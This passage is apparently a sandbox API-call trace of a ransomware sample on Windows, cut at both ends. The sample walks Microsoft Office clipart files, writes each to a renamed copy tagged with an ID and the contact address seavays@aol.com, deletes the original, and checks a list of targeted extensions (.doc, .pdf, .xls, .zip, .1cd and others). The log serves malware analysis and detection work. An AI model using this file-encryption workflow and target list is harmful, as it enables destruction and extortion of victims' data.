(lpString1=".1cd", lpString2=".WMF") returned -1 [0079.427] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099163.WMF") returned 68 [0079.427] lstrlenW (lpString=".jpg") returned 4 [0079.427] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0079.428] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1 [0079.428] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1 [0079.428] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099164.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099164.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4 [0079.429] GetLastError () returned 0x0 [0079.429] ReadFile (in: hFile=0x37c, lpBuffer=0x3f2d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f2d020*, lpNumberOfBytesRead=0x350fecc*=0x55ba, lpOverlapped=0x0) returned 1 [0079.431] WriteFile (in: hFile=0x2f4, lpBuffer=0x3f2d020*, nNumberOfBytesToWrite=0x55c0, lpNumberOfBytesWritten=0x350fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f2d020*, lpNumberOfBytesWritten=0x350fc94*=0x55c0, lpOverlapped=0x0) returned 1 [0079.433] ReadFile (in: hFile=0x37c, lpBuffer=0x3f2d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f2d020*, lpNumberOfBytesRead=0x350fecc*=0x0, lpOverlapped=0x0) returned 1 [0079.433] WriteFile (in: hFile=0x2f4, lpBuffer=0x3f2d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x350fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f2d020*, lpNumberOfBytesWritten=0x350fc94*=0xec, lpOverlapped=0x0) returned 1 [0079.433] SetEndOfFile (hFile=0x2f4) returned 1 [0079.433] CloseHandle (hObject=0x2f4) returned 1 [0079.433] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1 [0079.433] SetEndOfFile (hFile=0x37c) returned 1 [0079.435] CloseHandle (hObject=0x37c) returned 1 [0079.435] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099164.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0079.435] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099164.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099164.wmf")) returned 1 [0079.436] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099164.WMF") returned 68 [0079.436] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099164.WMF") returned 68 [0079.436] lstrlenW (lpString=".doc") returned 4 [0079.436] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0079.436] lstrlenW (lpString=".docx") returned 5 [0079.436] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0079.436] lstrlenW (lpString=".pdf") returned 4 [0079.436] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0079.436] lstrlenW (lpString=".xls") returned 4 [0079.436] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0079.436] lstrlenW (lpString=".xlsx") returned 5 [0079.436] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0079.436] lstrlenW (lpString=".ppt") returned 4 [0079.436] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0079.436] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099164.WMF") returned 68 [0079.437] lstrlenW (lpString=".zip") returned 4 [0079.437] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0079.437] lstrlenW (lpString=".rar") returned 4 [0079.437] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0079.437] lstrlenW (lpString=".bz2") returned 4 [0079.437] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0079.437] lstrlenW (lpString=".7z") returned 3 [0079.437] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0079.437] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099164.WMF") returned 68 [0079.437] lstrlenW (lpString=".dbf") returned 4 [0079.437] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0079.437] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099164.WMF") returned 68 [0079.437] lstrlenW (lpString=".1cd") returned 4 [0079.437] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0079.437] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099164.WMF") returned 68 [0079.437] lstrlenW (lpString=".jpg") returned 4 [0079.437] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0079.438] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1 [0079.439] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1 [0079.439] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099165.JPG.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099165.jpg.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4 [0079.439] GetLastError () returned 0x0 [0079.439] ReadFile (in: hFile=0x37c, lpBuffer=0x3f2d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f2d020*, lpNumberOfBytesRead=0x350fecc*=0xc53a, lpOverlapped=0x0) returned 1 [0079.442] WriteFile (in: hFile=0x2f4, lpBuffer=0x3f2d020*, nNumberOfBytesToWrite=0xc540, lpNumberOfBytesWritten=0x350fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f2d020*, lpNumberOfBytesWritten=0x350fc94*=0xc540, lpOverlapped=0x0) returned 1 [0079.444] ReadFile (in: hFile=0x37c, lpBuffer=0x3f2d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f2d020*, lpNumberOfBytesRead=0x350fecc*=0x0, lpOverlapped=0x0) returned 1 [0079.445] WriteFile (in: hFile=0x2f4, lpBuffer=0x3f2d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x350fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f2d020*, lpNumberOfBytesWritten=0x350fc94*=0xec, lpOverlapped=0x0) returned 1 [0079.445] SetEndOfFile (hFile=0x2f4) returned 1 [0079.445] CloseHandle (hObject=0x2f4) returned 1 [0079.445] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1 [0079.445] SetEndOfFile (hFile=0x37c) returned 1 [0079.447] CloseHandle (hObject=0x37c) returned 1 [0079.447] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099165.JPG.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0079.447] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099165.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099165.jpg")) returned 1 [0079.448] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099165.JPG") returned 68 [0079.448] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099165.JPG") returned 68 [0079.448] lstrlenW (lpString=".doc") returned 4 [0079.448] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0079.448] lstrlenW (lpString=".docx") returned 5 [0079.448] lstrcmpiW (lpString1=".docx", lpString2="5.JPG") returned -1 [0079.448] lstrlenW (lpString=".pdf") returned 4 [0079.448] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0079.448] lstrlenW (lpString=".xls") returned 4 [0079.448] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0079.449] lstrlenW (lpString=".xlsx") returned 5 [0079.449] lstrcmpiW (lpString1=".xlsx", lpString2="5.JPG") returned -1 [0079.449] lstrlenW (lpString=".ppt") returned 4 [0079.449] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0079.449] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099165.JPG") returned 68 [0079.449] lstrlenW (lpString=".zip") returned 4 [0079.449] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0079.449] lstrlenW (lpString=".rar") returned 4 [0079.449] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0079.449] lstrlenW (lpString=".bz2") returned 4 [0079.449] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0079.449] lstrlenW (lpString=".7z") returned 3 [0079.449] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0079.449] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099165.JPG") returned 68 [0079.449] lstrlenW (lpString=".dbf") returned 4 [0079.449] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0079.449] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099165.JPG") returned 68 [0079.449] lstrlenW (lpString=".1cd") returned 4 [0079.450] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0079.450] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099165.JPG") returned 68 [0079.450] lstrlenW (lpString=".jpg") returned 4 [0079.450] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0079.835] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1 [0079.835] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1 [0079.835] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099166.JPG.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099166.jpg.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0079.836] GetLastError () returned 0x0 [0079.836] ReadFile (in: hFile=0x344, lpBuffer=0x3f2d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f2d020*, lpNumberOfBytesRead=0x350fecc*=0xfcff, lpOverlapped=0x0) returned 1 [0079.954] WriteFile (in: hFile=0x388, lpBuffer=0x3f2d020*, nNumberOfBytesToWrite=0xfd00, lpNumberOfBytesWritten=0x350fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f2d020*, lpNumberOfBytesWritten=0x350fc94*=0xfd00, lpOverlapped=0x0) returned 1 [0079.956] ReadFile (in: hFile=0x344, lpBuffer=0x3f2d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f2d020*, lpNumberOfBytesRead=0x350fecc*=0x0, lpOverlapped=0x0) returned 1 [0079.956] WriteFile (in: hFile=0x388, lpBuffer=0x3f2d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x350fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f2d020*, lpNumberOfBytesWritten=0x350fc94*=0xec, lpOverlapped=0x0) returned 1 [0079.956] SetEndOfFile (hFile=0x388) returned 1 [0079.957] CloseHandle (hObject=0x388) returned 1 [0079.957] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1 [0079.957] SetEndOfFile (hFile=0x344) returned 1 [0079.958] CloseHandle (hObject=0x344) returned 1 [0079.959] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099166.JPG.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0079.959] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099166.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099166.jpg")) returned 1 [0079.960] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099166.JPG") returned 68 [0079.960] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099166.JPG") returned 68 [0079.960] lstrlenW (lpString=".doc") returned 4 [0079.960] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0079.960] lstrlenW (lpString=".docx") returned 5 [0079.960] lstrcmpiW (lpString1=".docx", lpString2="6.JPG") returned -1 [0079.960] lstrlenW (lpString=".pdf") returned 4 [0079.960] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0079.960] lstrlenW (lpString=".xls") returned 4 [0079.960] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0079.960] lstrlenW (lpString=".xlsx") returned 5 [0079.960] lstrcmpiW (lpString1=".xlsx", lpString2="6.JPG") returned -1 [0079.960] lstrlenW (lpString=".ppt") returned 4 [0079.960] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0079.961] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099166.JPG") returned 68 [0079.961] lstrlenW (lpString=".zip") returned 4 [0079.961] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0079.961] lstrlenW (lpString=".rar") returned 4 [0079.961] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0079.961] lstrlenW (lpString=".bz2") returned 4 [0079.961] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0079.961] lstrlenW (lpString=".7z") returned 3 [0079.961] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0079.961] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099166.JPG") returned 68 [0079.961] lstrlenW (lpString=".dbf") returned 4 [0079.961] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0079.961] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099166.JPG") returned 68 [0079.961] lstrlenW (lpString=".1cd") returned 4 [0079.961] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0079.961] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099166.JPG") returned 68 [0079.961] lstrlenW (lpString=".jpg") returned 4 [0079.961] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0079.962] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1 [0079.962] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1 [0079.962] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099177.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099177.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0079.963] GetLastError () returned 0x0 [0079.963] ReadFile (in: hFile=0x344, lpBuffer=0x3f2d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f2d020*, lpNumberOfBytesRead=0x350fecc*=0x150a, lpOverlapped=0x0) returned 1 [0079.965] WriteFile (in: hFile=0x388, lpBuffer=0x3f2d020*, nNumberOfBytesToWrite=0x1510, lpNumberOfBytesWritten=0x350fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f2d020*, lpNumberOfBytesWritten=0x350fc94*=0x1510, lpOverlapped=0x0) returned 1 [0079.966] ReadFile (in: hFile=0x344, lpBuffer=0x3f2d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f2d020*, lpNumberOfBytesRead=0x350fecc*=0x0, lpOverlapped=0x0) returned 1 [0079.967] WriteFile (in: hFile=0x388, lpBuffer=0x3f2d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x350fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f2d020*, lpNumberOfBytesWritten=0x350fc94*=0xec, lpOverlapped=0x0) returned 1 [0079.967] SetEndOfFile (hFile=0x388) returned 1 [0079.967] CloseHandle (hObject=0x388) returned 1 [0079.967] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1 [0079.967] SetEndOfFile (hFile=0x344) returned 1 [0079.968] CloseHandle (hObject=0x344) returned 1 [0079.968] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099177.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0079.969] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099177.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099177.wmf")) returned 1 [0079.969] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099177.WMF") returned 68 [0079.969] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099177.WMF") returned 68 [0079.970] lstrlenW (lpString=".doc") returned 4 [0079.970] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0079.970] lstrlenW (lpString=".docx") returned 5 [0079.970] lstrcmpiW (lpString1=".docx", lpString2="7.WMF") returned -1 [0079.970] lstrlenW (lpString=".pdf") returned 4 [0079.970] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0079.970] lstrlenW (lpString=".xls") returned 4 [0079.970] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0079.970] lstrlenW (lpString=".xlsx") returned 5 [0079.970] lstrcmpiW (lpString1=".xlsx", lpString2="7.WMF") returned -1 [0079.970] lstrlenW (lpString=".ppt") returned 4 [0079.970] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0079.970] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099177.WMF") returned 68 [0079.970] lstrlenW (lpString=".zip") returned 4 [0079.970] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0079.970] lstrlenW (lpString=".rar") returned 4 [0079.970] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0079.970] lstrlenW (lpString=".bz2") returned 4 [0079.970] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0079.970] lstrlenW (lpString=".7z") returned 3 [0079.970] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0079.970] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099177.WMF") returned 68 [0079.970] lstrlenW (lpString=".dbf") returned 4 [0079.970] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0079.970] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099177.WMF") returned 68 [0079.970] lstrlenW (lpString=".1cd") returned 4 [0079.970] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0079.971] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099177.WMF") returned 68 [0079.971] lstrlenW (lpString=".jpg") returned 4 [0079.971] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0079.971] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1 [0079.971] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1 [0079.971] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099178.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099178.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0079.977] GetLastError () returned 0x0 [0079.977] ReadFile (in: hFile=0x344, lpBuffer=0x3f2d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f2d020*, lpNumberOfBytesRead=0x350fecc*=0xe16, lpOverlapped=0x0) returned 1 [0079.979] WriteFile (in: hFile=0x388, lpBuffer=0x3f2d020*, nNumberOfBytesToWrite=0xe20, lpNumberOfBytesWritten=0x350fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f2d020*, lpNumberOfBytesWritten=0x350fc94*=0xe20, lpOverlapped=0x0) returned 1 [0079.983] ReadFile (in: hFile=0x344, lpBuffer=0x3f2d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f2d020*, lpNumberOfBytesRead=0x350fecc*=0x0, lpOverlapped=0x0) returned 1 [0079.983] WriteFile (in: hFile=0x388, lpBuffer=0x3f2d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x350fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f2d020*, lpNumberOfBytesWritten=0x350fc94*=0xec, lpOverlapped=0x0) returned 1 [0079.983] SetEndOfFile (hFile=0x388) returned 1 [0079.983] CloseHandle (hObject=0x388) returned 1 [0079.983] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1 [0079.983] SetEndOfFile (hFile=0x344) returned 1 [0079.984] CloseHandle (hObject=0x344) returned 1 [0079.984] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099178.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0079.985] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099178.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099178.wmf")) returned 1 [0079.985] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099178.WMF") returned 68 [0079.986] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099178.WMF") returned 68 [0079.986] lstrlenW (lpString=".doc") returned 4 [0079.986] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0079.986] lstrlenW (lpString=".docx") returned 5 [0079.986] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0079.986] lstrlenW (lpString=".pdf") returned 4 [0079.986] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0079.986] lstrlenW (lpString=".xls") returned 4 [0079.986] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0079.986] lstrlenW (lpString=".xlsx") returned 5 [0079.986] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0079.986] lstrlenW (lpString=".ppt") returned 4 [0079.986] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0079.986] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099178.WMF") returned 68 [0079.986] lstrlenW (lpString=".zip") returned 4 [0079.986] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0079.986] lstrlenW (lpString=".rar") returned 4 [0079.986] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0079.986] lstrlenW (lpString=".bz2") returned 4 [0079.986] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0079.986] lstrlenW (lpString=".7z") returned 3 [0079.986] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0079.986] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099178.WMF") returned 68 [0079.986] lstrlenW (lpString=".dbf") returned 4 [0079.986] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0079.986] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099178.WMF") returned 68 [0079.986] lstrlenW (lpString=".1cd") returned 4 [0079.987] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0079.987] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099178.WMF") returned 68 [0079.987] lstrlenW (lpString=".jpg") returned 4 [0079.987] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 Thread: id = 19 os_tid = 0xd78 [0050.066] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x10000) returned 0x3ca1258 [0050.067] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x10000) returned 0x3cb1260 [0050.067] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x10) returned 0x6fce60 [0050.067] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x6) returned 0x72d2c0 [0050.067] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x10) returned 0x6fcf38 [0050.067] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x100000) returned 0x403d020 [0050.070] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x10) returned 0x6fce78 [0050.070] RtlReAllocateHeap (Heap=0x6a0000, Flags=0x0, Ptr=0x6fce78, Size=0x20) returned 0x6deae8 [0050.070] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x10) returned 0x6fcf50 [0050.070] RtlReAllocateHeap (Heap=0x6a0000, Flags=0x0, Ptr=0x6fcf50, Size=0x20) returned 0x6deb10 [0050.070] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x75e90000 [0050.070] GetProcAddress (hModule=0x75e90000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x75ea6b30 [0050.070] Wow64DisableWow64FsRedirection (in: OldValue=0x364ff50 | out: OldValue=0x364ff50*=0x0) returned 1 [0050.070] lstrlenW (lpString="kernel32.dll") returned 12 [0050.070] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6deae8 | out: hHeap=0x6a0000) returned 1 [0050.070] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0050.070] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6deb10 | out: hHeap=0x6a0000) returned 1 [0050.070] Sleep (dwMilliseconds=0x64) [0050.411] lstrcmpiW (lpString1=".log", lpString2=".save") returned -1 [0050.411] lstrlenW (lpString="PartnerSetupCompleteResult.log") returned 30 [0050.411] CreateFileW 